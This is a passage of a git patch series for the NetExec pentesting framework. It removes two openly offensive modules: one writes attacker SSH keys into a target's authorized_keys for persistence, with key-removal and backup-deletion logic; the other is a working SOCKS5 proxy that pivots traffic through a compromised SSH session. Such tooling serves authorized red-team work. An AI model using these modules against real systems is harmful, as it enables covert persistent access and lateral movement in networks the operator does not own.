self._ensure_dir(context, connection, sftp, ssh_dir, owner=self.target_user) - - # Read current authorized_keys - existing = "" - try: - with sftp.file(auth_keys, "r") as f: - existing = f.read().decode("utf-8", errors="ignore") - except IOError: - existing = "" - - # -------------------- REMOVE logic -------------------- - if self.remove_mode: - modified = existing - removed_any = False - - # Remove all attacker keys - for pubkey_path in self.pubkey_opt: - key_id = " ".join(self._load_pubkey_text(context, pubkey_path).split()[:2]) - if key_id in modified: - modified = self._remove_key_lines(modified, key_id) - context.log.success(f"[ssh_persist_key] Removed key {pubkey_path} from authorized_keys.") - removed_any = True - else: - context.log.info(f"[ssh_persist_key] Key {pubkey_path} not present; nothing to remove.") - - if removed_any: - self._write_with_perms(connection, sftp, auth_keys, modified, owner=self.target_user) - - # DELETE backup if REMOVE=backup - if self.remove_mode == "backup": - try: - _, stdout, _ = connection.conn.exec_command( - f"ls -1t {ssh_dir}/authorized_keys.bak-* 2>/dev/null | head -n1" - ) - backup_file = stdout.read().decode().strip() - if backup_file: - _, stdout1, _ = connection.conn.exec_command( - f"sha256sum {self._q(auth_keys)}" - ) - auth_sum = stdout1.read().decode().split()[0] - _, stdout2, _ = connection.conn.exec_command( - f"sha256sum {self._q(backup_file)}" - ) - bak_sum = stdout2.read().decode().split()[0] - if auth_sum == bak_sum: - context.log.info(f"[ssh_persist_key] Backup verified; deleting {backup_file}") - connection.conn.exec_command(f"rm -f {self._q(backup_file)}") - else: - context.log.info(f"[ssh_persist_key] Backup mismatch; not deleting {backup_file}") - except Exception as e: - context.log.info(f"[ssh_persist_key] Error verifying/deleting backup: {e}") - - sftp.close() - return # skip ADD logic - - # -------------------- ADD logic -------------------- - for pubkey_path in self.pubkey_opt: - pubkey_text = self._load_pubkey_text(context, pubkey_path) - if not pubkey_text.startswith("ssh-"): - context.log.error(f"[ssh_persist_key] {pubkey_path} does not look like a valid SSH public key.") - continue - key_id = " ".join(pubkey_text.split()[:2]) - if key_id in existing: - context.log.success(f"[ssh_persist_key] Key {pubkey_path} already present in authorized_keys.") - continue - - # Backup before first modification - if self.backup and existing: - ts = time.strftime("%Y%m%d-%H%M%S") - backup_path = f"{auth_keys}.bak-{ts}" - try: - connection.conn.exec_command( - f"cp -p {self._q(auth_keys)} {self._q(backup_path)} 2>/dev/null || true" - ) - context.log.info(f"[ssh_persist_key] Backed up authorized_keys -> {backup_path}") - except Exception: - pass - - # Append key to existing content - existing = (existing.rstrip("\n") + "\n" if existing else "") + pubkey_text.strip() + "\n" - - # Write all added keys at once - self._write_with_perms(connection, sftp, auth_keys, existing, owner=self.target_user) - context.log.success(f"[ssh_persist_key] Added {len(self.pubkey_opt)} key(s) to authorized_keys.") - - except Exception as e: - context.log.error(f"[ssh_persist_key] Error: {e}") - - # -------------------- helpers -------------------- - def _load_pubkey_text(self, context, pubkey_opt): - if pubkey_opt.startswith("ssh-"): - return pubkey_opt.strip() - path = os.path.expanduser(pubkey_opt) - with open(path, "r", encoding="utf-8", errors="ignore") as f: - return f.read().strip() - - def _remote_whoami(self, connection): - try: - _, stdout, _ = connection.conn.exec_command("whoami 2>/dev/null || id -un 2>/dev/null") - return stdout.read().decode().strip() or None - except Exception: - return None - - def _remote_user_home(self, connection, user): - try: - _, stdout, _ = connection.conn.exec_command(f"getent passwd {self._q(user)} | cut -d: -f6") - out = stdout.read().decode().strip() - if out: - return out - except Exception: - pass - try: - _, stdout, _ = connection.conn.exec_command(f"eval echo ~{self._q(user)}") - return stdout.read().decode().strip() or None - except Exception: - return None - - def _ensure_dir(self, context, connection, sftp, path, owner): - try: - connection.conn.exec_command(f"mkdir -p {self._q(path)} && chmod 700 {self._q(path)}") - connection.conn.exec_command( - f"id -u {self._q(owner)} >/dev/null 2>&1 && chown {self._q(owner)}:{self._q(owner)} {self._q(path)} 2>/dev/null || true" - ) - except Exception as e: - context.log.info(f"[ssh_persist_key] mkdir/chmod note: {e}") - - def _write_with_perms(self, connection, sftp, path, content, owner): - tmp = f"{path}.tmp-{int(time.time())}" - with sftp.file(tmp, "w") as f: - f.write(content.encode("utf-8")) - connection.conn.exec_command( - f"mv -f {self._q(tmp)} {self._q(path)} && chmod 600 {self._q(path)} && " - f"(chown {self._q(owner)}:{self._q(owner)} {self._q(path)} 2>/dev/null || true)" - ) - - def _remove_key_lines(self, existing, key_id): - lines = existing.splitlines() - keep = [] - for ln in lines: - parts = ln.strip().split() - if len(parts) >= 2 and " ".join(parts[:2]) == key_id: - continue - keep.append(ln) - return "\n".join(keep).rstrip("\n") + ("\n" if keep else "") - - def _q(self, s): - return "'" + s.replace("'", "'\\''") + "'" From af6c2214ef5103ff4f73019ffb38d5f57940a7d7 Mon Sep 17 00:00:00 2001 From: Ryan Yager <78485709+overgrowncarrot1@users.noreply.github.com> Date: Sat, 20 Dec 2025 10:11:52 -0500 Subject: [PATCH 14/14] Delete nxc/modules/ssh_socks.py Signed-off-by: Ryan Yager <78485709+overgrowncarrot1@users.noreply.github.com> --- nxc/modules/ssh_socks.py | 198 --------------------------------------- 1 file changed, 198 deletions(-) delete mode 100644 nxc/modules/ssh_socks.py diff --git a/nxc/modules/ssh_socks.py b/nxc/modules/ssh_socks.py deleted file mode 100644 index 48bf3a5c29..0000000000 --- a/nxc/modules/ssh_socks.py +++ /dev/null @@ -1,198 +0,0 @@ -# ~/.nxc/modules/ssh_socks.py -import socket -import struct -import select -import threading -import time - -class NXCModule: - name = "ssh_socks" - description = "SOCKS5 dynamic forwarder defaults to port 1080" - supported_protocols = ["ssh"] - opsec_safe = True - multiple_hosts = False - - def __init__(self): - self.local_port = 1080 - self.bind_host = "127.0.0.1" - self.conn = None - self.transport = None - self.listener = None - self.stop_evt = threading.Event() - - # nxc passes a dict in module_options; PORT is optional - def options(self, context, module_options): - # Existing port option - try: - self.local_port = int(module_options.get("PORT", 1080)) - except Exception: - self.local_port = 1080 - context.log.display(f"[ssh_socks] Listening on {self.bind_host}:{self.local_port} (SOCKS5)") - - # Options for kex and hostkey for legacy systems - kex = module_options.get("KEX") - hostkey = module_options.get("HOSTKEY") - - if kex: - algos = [x.strip() for x in kex.split(",") if x.strip()] - context.log.display(f"[ssh_socks] Forcing KEX algos: {algos}") - # Patch paramiko defaults - from paramiko.transport import Transport - Transport._preferred_kex = algos - - if hostkey: - algos = [x.strip() for x in hostkey.split(",") if x.strip()] - context.log.display(f"[ssh_socks] Forcing hostkey algos: {algos}") - from paramiko.transport import Transport - Transport._preferred_pubkeys = algos - - def on_login(self, context, connection): - """ - Called after SSH auth succeeds. We reuse NetExec's Paramiko transport. - Keep this function alive so NetExec doesn't close the SSH session. - """ - if not hasattr(connection, "conn") or connection.conn is None: - context.log.error("[ssh_socks] SSH client not found on connection.") - return - - self.conn = connection.conn - self.transport = self.conn.get_transport() - if self.transport is None or not self.transport.is_active(): - context.log.error("[ssh_socks] SSH transport not available or inactive.") - return - - # Start SOCKS5 listener - try: - self.listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - self.listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - self.listener.bind((self.bind_host, self.local_port)) - self.listener.listen(128) - except Exception as e: - context.log.error(f"[ssh_socks] Failed to bind {self.bind_host}:{self.local_port} - {e}") - return - - context.log.success(f"[ssh_socks] SOCKS5 forwarder running on {self.bind_host}:{self.local_port}") - - t = threading.Thread(target=self._accept_loop, args=(context,), daemon=True) - t.start() - - # Block so NetExec keeps the SSH session open (Ctrl+C to stop) - try: - while t.is_alive() and not self.stop_evt.is_set(): - time.sleep(0.5) - finally: - self.stop_evt.set() - try: - if self.listener: - self.listener.close() - except Exception: - pass - context.log.display("[ssh_socks] Stopped.") - - # ---------- Internals ---------- - - def _accept_loop(self, context): - while not self.stop_evt.is_set(): - try: - client, _ = self.listener.accept() - except OSError: - break - threading.Thread(target=self._handle_client, args=(context, client), daemon=True).start() - - def _handle_client(self, context, client): - remote = None - try: - # ===== SOCKS5 handshake ===== - # greeting - data = self._recv_exact(client, 2) - if not data or data[0] != 0x05: - raise ValueError("Not SOCKS5") - n_methods = data[1] - _ = self._recv_exact(client, n_methods) # ignore offered methods - client.sendall(b"\x05\x00") # version 5, NO AUTH - - # request - hdr = self._recv_exact(client, 4) - if not hdr or hdr[0] != 0x05 or hdr[1] != 0x01: # CONNECT only - # reply: command not supported - try: - client.sendall(b"\x05\x07\x00\x01\0\0\0\0\x00\x00") - except Exception: - pass - return - - atyp = hdr[3] - if atyp == 0x01: # IPv4 - dst_addr = socket.inet_ntoa(self._recv_exact(client, 4)) - elif atyp == 0x03: # DOMAIN - ln = self._recv_exact(client, 1)[0] - dst_addr = self._recv_exact(client, ln).decode(errors="ignore") - elif atyp == 0x04: # IPv6 (optional) - raw = self._recv_exact(client, 16) - dst_addr = socket.inet_ntop(socket.AF_INET6, raw) - else: - try: - client.sendall(b"\x05\x08\x00\x01\0\0\0\0\x00\x00") - except Exception: - pass - return - - dst_port = struct.unpack(">H", self._recv_exact(client, 2))[0] - - # ===== Open SSH direct-tcpip channel ===== - if self.transport is None or not self.transport.is_active(): - raise RuntimeError("SSH transport inactive") - - # originator tuple can be anything local-ish; it's metadata for the server - originator = ("127.0.0.1", 0) - remote = self.transport.open_channel( - "direct-tcpip", - (dst_addr, dst_port), - originator - ) - - # reply success - # BND.ADDR & BND.PORT are the proxy’s bind; we just return 0.0.0.0:0 - reply = b"\x05\x00\x00\x01" + socket.inet_aton("0.0.0.0") + struct.pack(">H", 0) - client.sendall(reply) - - # ===== Pump data ===== - self._pump(client, remote) - - except Exception as e: - context.log.error(f"[ssh_socks] SOCKS5 handler error: {e}") - finally: - try: - client.close() - except Exception: - pass - if remote: - try: - remote.close() - except Exception: - pass - - def _pump(self, c, r): - bufsz = 65536 - sockets = [c, r] - while True: - rd, _, _ = select.select(sockets, [], []) - if c in rd: - data = c.recv(bufsz) - if not data: - break - r.sendall(data) - if r in rd: - data = r.recv(bufsz) - if not data: - break - c.sendall(data) - - def _recv_exact(self, sock, n): - buf = b"" - while len(buf) < n: - chunk = sock.recv(n - len(buf)) - if not chunk: - return None - buf += chunk - return buf